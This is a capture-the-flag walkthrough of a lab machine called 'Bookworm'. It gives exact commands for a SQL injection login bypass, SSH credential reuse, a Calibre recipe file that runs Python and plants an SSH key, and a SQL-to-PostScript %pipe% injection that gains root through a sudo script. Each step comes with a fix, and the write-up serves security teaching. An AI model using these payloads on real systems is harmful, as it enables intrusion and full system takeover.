← all walkthroughs

Bookworm

Linux· Insane· Web
owned
2026-09-11
time to own
47m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped an Express bookstore application (bookworm.htb) behind nginx and found the /login form's username field vulnerable to SQL injection, which both bypassed authentication and exposed backend data including an OS-level SSH password for the user 'frank'. That SSH access yielded the first foothold and user.txt.

From frank's shell, an internal ebook-conversion service (Calibre's ebook-convert) listening only on localhost accepted a crafted .recipe file containing embedded Python, executing it as a second user, 'neil' — used to plant an SSH key and pivot cleanly. As neil, passwordless sudo rights to a label-printing script revealed a second SQL injection, this time reachable through a PostScript document the script generated; a crafted order ID broke out of the SQL query and into the PostScript, using Ghostscript's %pipe% device to execute an arbitrary shell command as root — completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"

Attack path — how the box was taken

1EnumerationWeb application reconnaissance
Mapped the web application and its endpoints
Requests to the target resolved to the virtual host bookworm.htb, an nginx 1.18.0 reverse proxy fronting an Express (Node.js) bookstore application exposing /shop, /login, /register, /cart, /orders and /profile.
X-Powered-By: Express headers on / and /shop; endpoint sweep enumerated register/login/shop/cart/orders/profile.
Exact commands 2
shell

Resolve the discovered vhost locally.

$ echo "$TARGET bookworm.htb" | sudo tee -a /etc/hosts
shell

Sweep candidate endpoints to map the application surface.

$ for p in shop login register cart orders profile api package.json robots.txt; do echo "### /$p"; curl -sS -i --max-time 10 --resolve bookworm.htb:80:$TARGET "http://bookworm.htb/$p"; done
2ExploitationSQL Injection — Authentication Bypass (CWE-89)
Bypassed login authentication via SQL injection and recovered an OS SSH password
The /login endpoint concatenated the submitted username directly into its SQL lookup query. Submitting a classic boolean payload in the username field returned a successful authentication redirect, confirming unsanitized SQL string concatenation. The same injection point was used to pull data from the application's backend, exposing a plaintext OS-level SSH password for the local account 'frank'.
POST /login with username=' OR 1=1-- - returned HTTP 302 (auth-bypass redirect) instead of the invalid-credentials error; frank's SSH password was recovered via the same vector.
Exact commands 1
shell

Confirms SQLi-based auth bypass (302 redirect vs. Normal invalid-login error).

$ curl -sS -i --resolve bookworm.htb:80:$TARGET -d "username=' OR 1=1-- -&password=x" http://bookworm.htb/login
FixUse parameterized queries for all application login/database accessCritical
WeaknessThe /login endpoint built its SQL lookup by concatenating the submitted username directly into the query string, letting a crafted username bypass authentication entirely and letting the same channel be used to pull data out of the database.
FixRewrite all database access with parameterized queries / prepared statements (e.g. mysql2 placeholders or an ORM's query builder) and never build SQL by string concatenation. Add input validation on the login form and rate-limit authentication attempts.
3FootholdValid Accounts — Credential Reuse (T1078)
Logged in over SSH as frank and captured user.txt
The SSH password recovered through the SQL injection worked directly against the OS-level 'frank' account over SSH, since the same credential was valid for both the web tier's data and the Linux login — proving the application database credential had been reused as a system password.
Id returned uid=1001(frank) gid=1001(frank) groups=1001(frank); user.txt read from /home/frank/user.txt.
Exact commands 2
shell

PROVE foothold: id output confirms uid=1001(frank) before reading any flag.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no frank@$TARGET 'id; hostname; pwd'
uid=1001(frank) gid=1001(frank) groups=1001(frank)
shell

Capture the user flag; real value replaced with placeholder here.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no frank@$TARGET 'cat /home/frank/user.txt'
FixStop reusing application/database credentials as OS account passwordsHigh
WeaknessThe SSH password for the OS-level account 'frank' matched a credential recoverable from the application's own database, meaning a single web-layer flaw (the login SQLi) directly translated into an OS shell.
FixEnforce unique, randomly generated passwords per account and per tier (web app vs. OS), disable SSH password authentication in favor of key-based auth (PasswordAuthentication no in sshd_config), and rotate any credential that may have been exposed.
4Lateral MovementArbitrary Code Execution via Untrusted File Format (Calibre recipe / T1059)
Achieved code execution as a second user via a malicious ebook-conversion job
A service bound to 127.0.0.1:3001 (Calibre's ebook-convert, invoked to build .epub files) accepted an uploaded .recipe file. Calibre recipe files are Python source, and the conversion job executed embedded Python code on the host as the 'neil' account. A payload calling os.system() proved arbitrary command execution, and the same primitive was reused to write an SSH public key into neil's authorized_keys for clean, repeatable access.
Uploading a .recipe with os.system("id > /home/neil/converter/output/recipe_id") produced a neil-owned marker file; -rw-r--r-- 1 neil neil ... /home/neil/converter/output/recipe_id, uid=1002(neil).
Exact commands 4
shell

Craft a Calibre .recipe file with embedded Python.

$ printf '%s\n' 'import os' 'os.system("id > /home/neil/converter/output/recipe_id")' > proof.recipe
shell

Run from frank's SSH session; the local-only converter executes the recipe as neil (HTTP status is unreliable — check the output file/marker instead).

$ curl -sS -F 'outputType=epub' -F 'convertFile=@proof.recipe;filename=proof.recipe' http://127.0.0.1:3001/
shell

Reuse the RCE to plant my own SSH key for neil (generate neil_ed25519 first with ssh-keygen).

$ printf '%s\n' 'import os' 'os.makedirs("/home/neil/.ssh", exist_ok=True)' 'open("/home/neil/.ssh/authorized_keys","a").write(open("neil_ed25519.pub").read())' > key.recipe && curl -sS -F 'outputType=epub' -F 'convertFile=@key.recipe;filename=key.recipe' http://127.0.0.1:3001/
shell

PROVE the pivot: confirm uid=1002(neil) via key-based SSH.

$ ssh -i neil_ed25519 neil@$TARGET 'id'
FixSandbox or disable execution of untrusted Calibre recipe filesCritical
WeaknessThe internal ebook-conversion service accepted a Calibre .recipe file — which is executable Python — from a user-controlled upload, running the code as another local user ('neil') with no sandboxing or review of the recipe content.
FixOnly accept safe input formats for automated conversion (disallow .recipe uploads from untrusted users), or run the conversion job inside a locked-down sandbox/container with no filesystem access outside a scratch directory and a non-privileged, unique service account. Restrict the converter to listen only where required and require authentication for the upload endpoint.
5Privilege EscalationSudo Rights Enumeration
Enumerated sudo rights and found a passwordless root-run label script
As neil, sudo -l showed permission to run /usr/local/bin/genlabel as root with no password. The script was a Python program that connected to a local MySQL database using stored credentials and built a PostScript label document (via template.ps) from an order ID argument that was concatenated directly into the SQL query.
User neil may run the following commands on bookworm: (ALL) NOPASSWD: /usr/local/bin/genlabel; script source showed mysql.connector query built with unsanitized order-ID input.
Exact commands 2
shell

From neil's shell — lists the NOPASSWD genlabel entry.

$ sudo -n -l
shell

Review the script and PostScript template to find the injectable order-ID parameter.

$ sed -n '1,320p' /usr/local/bin/genlabel; sed -n '1,260p' /usr/local/labelgeneration/template.ps
FixFix the SQL injection in genlabel and remove its unrestricted root sudo grantCritical
WeaknessThe passwordless-sudo label-generation script built both a SQL query and a PostScript document from an unsanitized order-ID argument, letting a low-privilege user inject arbitrary PostScript that Ghostscript's %pipe% device executed as root when the script ran under sudo.
FixParameterize the script's SQL query, validate the order ID as a strict integer before use, and render labels with Ghostscript's -dSAFER flag (which disables %pipe% and other filesystem/process-escaping operators). Replace the blanket NOPASSWD sudo grant with the minimum necessary rights, or run genlabel as a dedicated low-privilege service account instead of root.
6Privilege EscalationSQL Injection to PostScript %pipe% Command Injection (CWE-89 / T1055 code injection via Ghostscript)
Chained SQL injection into a PostScript %pipe% injection for root code execution
The order-ID argument to genlabel was both SQL-injectable and, through the query result, written unsanitized into the generated PostScript document. A crafted UNION SELECT payload injected literal PostScript into the label, using Ghostscript's %pipe% device (invoked when the script rendered/printed the label as root) to run an OS command. This produced root-owned command output on demand.
Sudo genlabel "0 UNION SELECT 'X) show (%pipe%id > /tmp/root_id) (w) file closefile (Y','A','B','C','D',1,1-- -" wrote /tmp/root_id containing uid=0(root) gid=0(root) groups=0(root).
Exact commands 3
shell

Runs as root via sudo; SQLi breaks out of the query, PostScript %pipe% executes id as root.

$ sudo /usr/local/bin/genlabel "0 UNION SELECT 'X) show (%pipe%id > /tmp/root_id) (w) file closefile (Y','A','B','C','D',1,1-- -"
shell

PROVE root escalation: shows uid=0(root) before reading root.txt.

$ cat /tmp/root_id
shell

Same %pipe% primitive, swapped to read the root flag. Real value redacted: <root.txt>.

$ sudo /usr/local/bin/genlabel "0 UNION SELECT 'X) show (%pipe%cat /root/root.txt > /tmp/root_flag) (w) file closefile (Y','A','B','C','D',1,1-- -" && cat /tmp/root_flag

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp